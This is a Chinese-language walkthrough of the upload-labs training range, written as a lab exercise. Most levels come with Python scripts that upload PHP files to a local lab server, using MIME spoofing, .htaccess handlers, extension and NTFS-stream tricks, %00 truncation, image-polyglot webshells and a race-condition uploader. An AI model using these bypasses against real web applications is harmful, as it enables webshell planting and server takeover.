'upload靶场通关(利用python脚本)'

最近一直在练习python,索性用python写脚本通关upload-labs,后面几关实在能力有限,实现不了。
每一关测试完,我都会删除upload下的文件,如果你没成功,请锤爆我的头。

第1、2关通用(前端JS,MIME类型验证)

第一关是JS前端验证,我们直接发包可以忽略掉
第二关是MIME类型验证,我设置了image/jpeg,也可绕过

1
2
3
4
5
6
7
8
9
10
11
#coding=utf-8
import requests
url="http://192.168.136.133/upload/Pass-01/index.php"
geturl="http://192.168.136.133/upload/upload/phpinfo.php"
file={'upload_file':('phpinfo.php',"<?php phpinfo();?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
r1=requests.get(url=geturl)
if r1.status_code==200:
print("upload success!")
print(geturl)

第3关(文件各类扩展名)

文件扩展名绕过,httpd.conf中记得设置下图红框里的代码,不然无法解析phtml
这关上传之后会重命名文件,但是还是可以在源代码中看到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#coding=utf-8
import requests
import re
url="http://192.168.136.133/upload/Pass-03/index.php"
file={'upload_file':('phpinfo.phtml',"<?php phpinfo();?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
wenjian = re.findall('<img src="../upload/(.*?)" width="250px" />',r.text,re.S)
wenjian1 = "".join(wenjian)
geturl="http://192.168.136.133/upload/upload/%s" % wenjian1
r1=requests.get(url=geturl)
if r1.status_code==200:
print("upload success!")
print(geturl)

第4关(.htaccess)

这关先上传.htaccess文件,语句含义为所有.jpg结尾的文件以PHP文件解析

1
2
3
4
5
6
7
8
9
10
.htaccess内容:
(1) <FilesMatch "abc">
SetHandler application/x-httpd-php
</FilesMatch>
(将名字中包含abc的文件当作php解析)

(2)AddType application/x-httpd-php .jpg
上传的jpg文件都会以php格式解析
(3) SetHandler application/x-httpd-php
全部匹配php方式打开,对网站危害较大,不建议使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#coding=utf-8
import requests
import re
url="http://192.168.136.133/upload/Pass-04/index.php"
file={'upload_file':('phpinfo.jpg',"<?php phpinfo();?>",'image/jpeg')}
file1={'upload_file':('.htaccess',"AddType application/x-httpd-php .jpg",'application/octet-stream')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file1)
repson = requests.post(url=url,data=data,files=file)
geturl="http://192.168.136.133/upload/upload/phpinfo.jpg"
r1=requests.get(url=geturl)
if r1.status_code==200:
print("upload success!")
print(geturl)

第5关(黑名单,大小写)

这关大小写绕过,使用第三关脚本进行修改即可

1
2
url="http://192.168.136.133/upload/Pass-05/index.php"
file={'upload_file':('phpinfo.phP',"<?php phpinfo();?>",'image/jpeg')}

第6关(黑名单,空格)

这关利用后缀名+空格进行绕过

1
2
url="http://192.168.136.133/upload/Pass-06/index.php"
file={'upload_file':('phpinfo.php ',"<?php phpinfo();?>",'image/jpeg')}

第7关(黑名单,点)

利用windows特性,会自动去掉后缀名中最后的".“,可在后缀名中加”."绕过

1
2
url="http://192.168.136.133/upload/Pass-07/index.php"
file={'upload_file':('phpinfo.php.',"<?php phpinfo();?>",'image/jpeg')}

第8关(黑名单,NTFS数据流)

利用NTFS文件流,::$DATA

1
2
3
url="http://192.168.136.133/upload/Pass-08/index.php"
file={'upload_file':('phpinfo.php::$DATA',"<?php phpinfo();?>",'image/jpeg')}
wenjian1 = "".join(wenjian).replace('::$data','')

第9关(黑名单,点+空格+点)

还是黑名单,利用phpinfo.php. .(点+空格+点)进行绕过

1
2
url="http://192.168.136.133/upload/Pass-09/index.php"
file={'upload_file':('phpinfo.php. .',"<?php phpinfo();?>",'image/jpeg')}

第10关(黑名单,双写)

根据第一关的代码修改

1
2
3
4
5
6
7
8
9
10
11
#coding=utf-8
import requests
url="http://192.168.136.133/upload/Pass-10/index.php"
geturl="http://192.168.136.133/upload/upload/info.php"
file={'upload_file':('phpinfo.pphphp',"<?php phpinfo();?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
r1=requests.get(url=geturl)
if r1.status_code==200:
print("upload success!")
print(geturl)

第11关(%00截断)

1
2
3
4
5
6
7
8
9
10
11
#coding=utf-8
import requests
url="http://192.168.136.133/upload/Pass-11/index.php?save_path=../upload/phpinfo.php%00"
geturl="http://192.168.136.133/upload/upload/phpinfo.php"
file={'upload_file':('phpinfo.jpg',"<?php phpinfo();?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
r1=requests.get(url=geturl)
if r1.status_code==200:
print("upload success!")
print(geturl)

第12关(hex 00截断)

这关我是真的搞了很久,脚本写不出来,需要提交16进制的00,使用binascii模块,还是不行,人已虚,用BP过吧。。。
save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码

点击hex找到+也就是2b,修改为00

放包,上传成功

第13~15关(图片马)

1
2
3
制作图片马
linux:cat 404.php >> 1.png
win:copy logo.png /b + 404.txt /a hack.jpg

直接上传就可以,我这里环境有问题,所以没有解析

第16关(二次渲染)

上传写入phpinfo()的图片马,然后下载下来,对比16进制,查看哪些地方没有进行渲染。
在没有进行渲染的地方写上我们的一句话。
可以看到已经将我们的渲染没了。

我们在没有进行渲染的地方再次写入

上传后利用文件包含漏洞,不过我这里因为环境问题还是没解析,下载下来图片可以看到,我们的一句话没有进行渲染,而是保留了下来

具体可以看这位大佬的操作
https://xz.aliyun.com/t/2657

第17关(条件竞争)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.136.133/upload/Pass-17/index.php"
geturl="http://192.168.136.133/upload/upload/cs.php"
file={'upload_file':('cs.php',"<?php ?>');?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
r1=requests.get(url=geturl)
if r1.status_code==200:
print("upload success!")
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()

第18关

正确解法应该是条件竞争,但是我偷懒了,可以上传.7z文件,再利用文件包含进行解析

第19关(文件解析)


第20关(数组绕过)


代码解释:
服务器端先是检查了MIME类型,然后判断save_name参数是否为空,为空就把文件本来名称赋值给$file,否则就是将save_name参数的值赋给它。紧接着判断$file是否是数组。

1
2
3
4
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。

那么为什么是save_name[2]呢,因为这段代码

1
$file_name = reset($file) . '.' . $file[count($file) - 1];